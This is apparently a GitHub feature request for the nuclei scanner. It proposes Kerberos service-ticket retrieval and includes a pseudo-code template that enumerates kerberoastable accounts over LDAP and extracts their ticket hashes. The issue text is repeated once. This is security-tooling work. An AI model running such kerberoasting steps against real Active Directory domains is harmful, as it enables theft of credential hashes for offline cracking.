You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The Kerberos module already performs an enumeration to find users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH). In the spirit of improving the module, I propose a way to retrieve a kerberos service ticket. I already implemented it and I'll shortly attach the PR to this issue.
Describe the use case of this feature:
Expecially in combination with my previous pull request (#4420) nuclei could be used (but not limited) to replicate a kerberoasting attack with a simple template (pseudo-code) like this:
id: kerberoastinfo:
name: Kerberoast Targetauthor: 5amuseverity: infojavascript:
- args:
DomainController: "{{Host}}"code: | var ldap = require("nuclei/ldap"); var lc = ldap.LdapClient(); var users = lc.GetKerberoastableUsers(template.Domain, DomainController, template.Username, template.Password); krb = require("nuclei/kerberos"); kc = krb.KerberosClient(); var tickets = []; for (let i=0; i<users.lenght; i++) { t = kc.GetServiceTicket(template.Domain, DomainController, template.Username, template.Password, template.TargetUser, template.SPN); tickets.push(t); } to_json(tickets);extractors:
- type: jsonjson:
- '.[].Hash'
The text was updated successfully, but these errors were encountered:
Please describe your feature request:
The Kerberos module already performs an enumeration to find users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH). In the spirit of improving the module, I propose a way to retrieve a kerberos service ticket. I already implemented it and I'll shortly attach the PR to this issue.
Describe the use case of this feature:
Expecially in combination with my previous pull request (#4420) nuclei could be used (but not limited) to replicate a kerberoasting attack with a simple template (pseudo-code) like this:
The text was updated successfully, but these errors were encountered: